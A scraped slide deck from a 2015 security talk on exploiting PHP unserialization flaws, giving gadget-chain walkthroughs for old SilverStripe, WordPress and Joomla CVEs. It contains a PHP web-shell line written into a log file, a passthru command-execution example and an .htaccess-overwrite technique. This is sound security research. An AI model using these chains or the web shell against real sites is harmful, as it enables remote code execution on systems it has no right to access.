Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

PHP unserialization vulnerabilities: What are we missing?

13,218 views

Published on

Video at: https://www.youtube.com/watch?v=PqsudKzs79c

An introduction to PHP unserialization vulnerabilities, with some practical tips on methodology. Based around three new exploits for old vulnerabilities (CVE-2011-4962, CVE-2013-1453, CVE-2013-4338).

Published in: Software
  • Hello! Get Your Professional Job-Winning Resume Here - Check our website! https://vk.cc/818RFv
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

PHP unserialization vulnerabilities: What are we missing?

  1. 1. © Pentest Limited 2015 - All rights reserved PHP unserialization vulnerabilities: What are we missing? Sam Thomas
  2. 2. PHP unserialization vulnerabilities? Slowly emerging class of vulnerabilities (PHP) Object Injection • An application will instantiate an object based on user input • Unserialization • “new” operator (see blog.leakfree.nl - CVE-2015-1033 - humhub)
  3. 3. SilverStripe Changelogs 2.4.6 (2011-10-17) Security: Potential remote code execution through serialization of page comment user submissions.
  4. 4. 2009 • Stefan Esser - POC - Shocking News In PHP Exploitation 2010 • Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits 2011 2012
  5. 5. 2009 • Stefan Esser - POC - Shocking News In PHP Exploitation 2010 • Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits 2011 2012 2013 • Arseny Reutov - Confidence Krakow - PHP Object Injection revisited • Egidio Romano - JoomlaDay Italy - PHP Object Injection in Joomla...questo sconosciuto 2014 • Tom Van Goethem - Positive Hack Days - PHP Object Injection Vulnerability in WordPress: an Analysis • Johannes Dahse - ACM CCS - Code Reuse Attacks in PHP: Automated POP Chain Generation 2015 • Egidio Romano - Security Summit - PHP Object Injection Demystified
  6. 6. New exploits for old vulnerabilities • WordPress - CVE-2013-4338 - 714 days • Joomla - CVE-2013-1453 - 933 days • SilverStripe - CVE-2011-4962 - 1409 days
  7. 7. • WordPress plugin • 30% of ALL ecommerce sites (builtwith.com) • Bug fixed June 10 2015 • Same payload as CVE-2013-4338
  8. 8. The vulnerability unserialize($user_controlled_data)
  9. 9. The fixes json_decode($user_controlled_data) or unserialize($data, $allowed_class_array)
  10. 10. The exploit technique Code reuse ROP POP ret2libc Return Oriented Programming Property Oriented Programming
  11. 11. Agenda • What is PHP (un)serialization? • Why is it exploitable? • Let’s exploit it!
  12. 12. What is PHP (un)serialization? serialize — Generates a storable representation of a value unserialize — Creates a PHP value from a stored representation 1 i:1; ‘foobar’ s:6:”foobar”; i:1; 1 s:6:”foobar”; ‘foobar’
  13. 13. Primitive types in PHP scalar • boolean • integer • float • string compound • array • object special • resource • NULL
  14. 14. Array
  15. 15. Object public class className { private $prop1 = ‘value1’; protected $prop2 = ‘value2’; public $prop3 = ‘value3’; public function meth1() { } } $x = new className();
  16. 16. Agenda • What is PHP Unserialization? • Why is it exploitable? • Let’s exploit it!
  17. 17. Magic methods • __construct() • __destruct() • __call() • __callStatic() • __get() • __set() • __isset() • __unset() • __sleep() • __wakeup() • __toString() • __invoke() • __set_state() • __clone() • __debugInfo()
  18. 18. Magic methods • __construct() • __destruct() • __call() • __callStatic() • __get() • __set() • __isset() • __unset() • __sleep() • __wakeup() • __toString() • __invoke() • __set_state() • __clone() • __debugInfo()
  19. 19. __wakeup • Invoked on unserialization • Reinitialise database connections • Other reinitialisation tasks
  20. 20. __destruct • Invoked on garbage collection • Clean up references • Finish any unfinished business • Often interesting things happen here!
  21. 21. __toString • Invoked when an object is treated as a string: echo $object; • Can contain complex rendering methods
  22. 22. __call Invoked when an undefined method is called $object->foobar($args)=$object->__call(‘foobar’,$args)
  23. 23. Autoloading • Applications define a function to deal with unloaded classes, this is invoked during unserialization • Either “__autoload” function or any function registered with “spl_autoload_register”
  24. 24. Weak typing “PHP does not require (or support) explicit type definition in variable declaration” variables (->object properties) can take any value
  25. 25. All functions have variable arguments foobar() = foobar(null) = foobar(null, null)
  26. 26. Weak typing + variable args = Many possible POP chains
  27. 27. Agenda • What is PHP Unserialization? • Why is it exploitable? • Let’s exploit it!
  28. 28. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  29. 29. SilverStripe 2.4.x – 2.4.6 CVE-2011-4962 (Tim Klein)
  30. 30. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  31. 31. function PostCommentForm() { … // Load the users data from a cookie if($cookie = Cookie::get("PageCommentInterface_Data")) { $form->loadDataFrom(unserialize($cookie)); } … } Entry point – PageCommentInterface - PostCommentForm
  32. 32. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  33. 33. function sapphire_autoload($className) { global $_CLASS_MANIFEST; $lClassName = strtolower($className); if(isset($_CLASS_MANIFEST[$lClassName])) include_once($_CLASS_MANIFEST[$lClassName]); else if(isset($_CLASS_MANIFEST[$className])) include_once($_CLASS_MANIFEST[$className]); } spl_autoload_register('sapphire_autoload'); Autoloader from core.php
  34. 34. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  35. 35. Possible start points • 0 x “function __wakeup” • 5 x “function __destruct” • MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite, Zend_Log
  36. 36. public function __destruct() { if(is_resource($this->handle)) mysql_free_result($this>handle); } __destruct #1 - MySQLQuery
  37. 37. function __destruct() { $this->closeFile(); } protected function closeFile() { if($this->fileHandle) fclose($this->fileHandle); $this->fileHandle = null; $this->rowNum = 0; $this->currentRow = null; $this->headerRow = null; } __destruct #2 - CSVParser
  38. 38. public function __destruct() { foreach($this->_writers as $writer) { $writer->shutdown(); } } __destruct #5 - Zend_Log
  39. 39. Possible start points • 0 x “function __wakeup” • 5 x “function __destruct” • MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite, Zend_Log
  40. 40. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  41. 41. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  42. 42. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  43. 43. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  44. 44. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  45. 45. Next steps • 5 x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream • 8 x “function __call” • Aggregate, VirtualPage, Object, ViewableData, Form_FieldMap, TabularStyle, Zend_Cache_Frontend_Class, Zend_Log
  46. 46. function __call($func, $args) { return call_user_func_array(array(&$this->form, $func), $args); } __call #6 – TabularStyle – proxy gadget
  47. 47. public function __call($method, $params) { $priority = strtoupper($method); if (($priority = array_search($priority, $this->_priorities)) !== false) { $this->log(array_shift($params), $priority); } else { … } } public function log($message, $priority) { … $event = array_merge(array('timestamp' => date('c'), 'message' => $message, 'priority' => $priority, 'priorityName' => $this->_priorities[$priority]), $this->_extras); … foreach ($this->_writers as $writer) { $writer->write($event); } } __call #8 - Zend_Log
  48. 48. Catch all __call gadget Useful because of what triggers it $this->anyProperty->anyMethod($anyArgs) This at any start point will trigger it
  49. 49. public function __call($method, $params) { $priority = strtoupper($method); if (($priority = array_search($priority, $this->_priorities)) !== false) { $this->log(array_shift($params), $priority); } else { … } } public function log($message, $priority) { … $event = array_merge(array('timestamp' => date('c'), 'message' => $message, 'priority' => $priority, 'priorityName' => $this->_priorities[$priority]), $this->_extras); … foreach ($this->_writers as $writer) { $writer->write($event); } } __call #8 - Zend_Log
  50. 50. Written to file [19-Aug-2015 19:40:12] Error at line : hi mum (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
  51. 51. Written to file [19-Aug-2015 19:40:12] Error at line : <?php passthru($_GET[‘c’]); ?> (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
  52. 52. 403
  53. 53. There is a way • Using “php://filter/convert.base64-decode/resource=” • PHP ignores all non base64 characters • Can be nested • Use this to write a new .htaccess in a subdirectory • See Stefan Esser’s Piwik advisory from 2009
  54. 54. Wordpress<3.6.1 CVE-2013-4338 (Tom Van Goethem)
  55. 55. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  56. 56. Mathias Bynens utf8 in mysql ≠ UTF-8 • Only handles up to 3 byte characters • 4 byte character terminates input like a null-byte poisoning attack UPDATE table SET column = 'foo𝌆bar' WHERE id = 1; SELECT column FROM table WHERE id = 1; - returns ‘foo’
  57. 57. Tom Van Goethem Genius insight = We can abuse this to screw with WordPress’ unserialization
  58. 58. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  59. 59. No autoloader!?
  60. 60. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  61. 61. Possible start points (get_declared_classes) • 0 x “function __wakeup” • 2 x “function __destruct” • wpdb, WP_Object_Cache • 1 x “function __toString” • WP_Theme
  62. 62. public function __destruct() { return true; } __destruct #1 - wpdb
  63. 63. public function __destruct() { return true; } __destruct #2 - WP_Object_Cache
  64. 64. /** * When converting the object to a string, the theme name is returned. * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display('Name'); } public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) $translate = false; if ( $translate ) $value = $this->translate_header( $header, $value ); if ( $markup ) $value = $this->markup_header( $header, $value, $translate ); return $value; } __toString #1 - WP_Theme
  65. 65. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  66. 66. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  67. 67. /** * When converting the object to a string, the theme name is returned. * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display('Name'); } public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) $translate = false; if ( $translate ) $value = $this->translate_header( $header, $value ); if ( $markup ) $value = $this->markup_header( $header, $value, $translate ); return $value; } __toString #1 - WP_Theme
  68. 68. /** * Makes a function, which will return the right translation index, according to the * plural forms header */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " $index = (int)($expression); return ($index < $nplurals)? $index : $nplurals - 1;"; return create_function('$n', $func_body); } Endpoint – make_plural_form_function - Translations
  69. 69. WP_Theme __toString display load_textdomain (l10n.php) load_theme_textdomain load_textdomain MO import_from_file import_from_reader Translations set_headers set_header make_plural_form_function
  70. 70. Joomla < 3.03 CVE-2013-1453 (Egidio Romano)
  71. 71. Prior exploits • 2013 - Egidio Romano • Arbitrary directory deletion • Blind SQL injection • 2014 - Johanne Dahse • File permission modification • Directory creation • Autoloaded local file inclusion – WTF!
  72. 72. The LFI exploit Abuses a sink I didn’t know about (method_exists) Requires • null byte poisoning in include (CVE-2006-7243 – fixed 2010) • Malformed class name passed to method_exists (fixed 2014)
  73. 73. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  74. 74. public function onAfterDispatch() { … // Get the terms to highlight from the request. $terms = $input->request->get('highlight', null, 'base64'); $terms = $terms ? unserialize(base64_decode($terms)) : null; … } Entry point - PlgSystemHighlight extends JPlugin
  75. 75. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  76. 76. Autoloader has lots of code • If the classname starts with the prefix “J” • Split camelCase at each uppercase letter • e.g. JCacheController is at /libraries/Joomla/cache/controller.php
  77. 77. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  78. 78. public function __destruct() { // Do not render if debugging or language debug is not enabled if (!JDEBUG && !$this->debugLang) { return; } // User has to be authorised to see the debug information if (!$this->isAuthorisedDisplayDebug()) { return; } … } private function isAuthorisedDisplayDebug() { … $filterGroups = (array) $this->params->get('filter_groups', null); … } Starting point - __destruct - plgSystemDebug extends JPlugin
  79. 79. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  80. 80. Next steps • 33 x “function get” • JApplicationCli, JApplicationWeb, JCache, JCacheControllerCallback, JCacheControllerPage, JCacheControllerView, JCacheController, JCacheStorageApc, JCacheStorageCachelite, JCacheStorageFile, JCacheStorageMemcache, JCacheStorageMemcached, JCacheStorageWincache, JCacheStorageXcache, JCacheStorage, JClientFtp, JGithubGists, JGithubIssues, JGithubPulls, JGithubRefs, JHttp, JInputFiles, JInput, JLanguage, JObject, JPagination, JRegistry, JSession, JCategories, JException, JRequest, JViewLegacy, SimplePie • 4 x “function __call” • JCacheController, *JDatabaseDriver, *JDatabaseQuery, JInput
  81. 81. /** * Executes a cacheable callback if not found in cache else returns cached output and result * * @param mixed $callback Callback or string shorthand for a callback * @param array $args Callback arguments * @param string $id Cache id * @param boolean $wrkarounds True to use wrkarounds * @param array $woptions Workaround options * * @return mixed Result of the callback * * @since 11.1 */ public function get($callback, $args = array(), $id = false, $wrkarounds = false, $woptions = array()) { … $result = call_user_func_array($callback, $Args); … } get #4 - JCacheControllerCallback extends JCacheController
  82. 82. call_user_func_array as an endpoint • Trivial if we control both args: call_user_func_array(‘passthru’, ’uname –a’) • Near trivial if we control just first arg: call_user_func_array(array($object, $method_name),$args)
  83. 83. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); … } protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object using the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } … return (string) $uri; } get #17 - JGithubGists extends JGithubObject
  84. 84. public function get($property, $default = null) { if (isset($this->metadata[$property])) { return $this->metadata[$property]; } return $default; } get #24 - JLanguage
  85. 85. api.url=“x:///” + api.username=“arbitrary” -> $this->fetchUrl(..) = “arbitrary@”
  86. 86. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); … } protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object using the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } … return (string) $uri; } get #17 - JGithubGists extends JGithubObject
  87. 87. elseif (strstr($callback, '::')) { list ($class, $method) = explode('::', $callback); $callback = array(trim($class), trim($method)); } … elseif (strstr($callback, '->')) { /* * This is a really not so smart way of doing this... … list ($object_123456789, $method) = explode('->', $callback); global $$object_123456789; $callback = array($$object_123456789, $method); } JCacheControllerCallback – callback string shorthand
  88. 88. Variable variables $a = ‘b’ $b = ‘c’ $$a = $($a) = $b = ‘c’
  89. 89. elseif (strstr($callback, '::')) { list ($class, $method) = explode('::', $callback); $callback = array(trim($class), trim($method)); } … elseif (strstr($callback, '->')) { /* * This is a really not so smart way of doing this... … list ($object_123456789, $method) = explode('->', $callback); global $$object_123456789; $callback = array($$object_123456789, $method); } JCacheControllerCallback – callback string shorthand
  90. 90. $id = $this->_makeId($callback, $args); $data = $this->cache->get($id); if ($data === false) { $locktest = $this->cache->lock($id); … } if ($data !== false) { $cached = unserialize(trim($data)); $result = $cached['result']; } else { $result = call_user_func_array($callback, $Args); } JCacheControllerCallback – cache and callback logic
  91. 91. • call_user_func_array doesn’t error on a non-existent method • We can use a proxy gadget to get past the “lock” method
  92. 92. public function __call($name, $arguments) { $nazaj = call_user_func_array(array($this->cache, $name), $arguments); return $nazaj; } Proxy gadget - JCacheController – __call
  93. 93. public function get($id, $group = null) { $data = false; $data = $this->cache->get($id, $group); … if ($data !== false) { $data = unserialize(trim($data)); } return $data; } get #7 - JCacheController
  94. 94. $id = $this->_makeId($callback, $args); $data = $this->cache->get($id); if ($data === false) { $locktest = $this->cache->lock($id); … } if ($data !== false) { $cached = unserialize(trim($data)); $result = $cached['result']; } else { $result = call_user_func_array($callback, $Args); } JCacheControllerCallback – cache and callback logic
  95. 95. There’s nothing to stop us following the same path twice • On the first pass we globalise $result and retrieve it from the cache • On the second pass we use $result as the object in the callback We can now call an arbitrary method on an arbitrary object
  96. 96. public function _startElement($parser, $name, $attrs = array()) { array_push($this->stack, $name); $tag = $this->_getStackLocation(); // Reset the data eval('$this->' . $tag . '->_data = "";'); … } protected function _getStackLocation() { return implode('->', $this->stack); } JUpdate – _startElement
  97. 97. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  98. 98. 500
  99. 99. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } get #17 - JGithubGists extends JGithubObject
  100. 100. Take aways Developers • Think very carefully before using this type of function Testers / Researchers • Test for and find this type of issue • Exploit it – it’s fun!
  101. 101. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  102. 102. Questions?

×